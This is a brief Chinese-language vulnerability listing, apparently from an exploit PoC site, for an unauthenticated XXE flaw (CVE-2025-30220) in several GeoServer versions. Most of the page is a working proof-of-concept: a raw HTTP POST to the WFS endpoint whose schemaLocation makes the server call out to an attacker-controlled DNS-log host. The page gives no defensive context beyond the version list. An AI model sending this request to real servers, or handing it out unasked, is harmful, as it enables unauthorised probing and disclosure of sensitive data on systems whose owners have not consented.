Geoserver 未授权XXE CVE-2025-30220

日期: 2025-06-18 | 影响软件: GeoServer | POC: 已公开

漏洞描述

Geoserver 在 >= 2.27.0, < 2.27.1 >= 2.26.0, < 2.26.3 < 2.25.7版本存在未授权XXE漏洞，攻击者可以利用该漏洞获取服务器敏感信息。

PoC代码

POST /geoserver/wfs HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Safari/605.1.15
Connection: close
Content-Type: application/xml
Accept-Encoding: gzip

<wfs:GetFeature service="WFS" version="1.0.0"
xmlns:wfs="http://www.opengis.net/wfs"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:topp="http://www.openplans.org/topp"
xsi:schemaLocation="http://a http://dnslog地址/xxe.xsd"
outputFormat="KML">
<wfs:Query typeName="topp:states"/>
</wfs:GetFeature>

相关漏洞推荐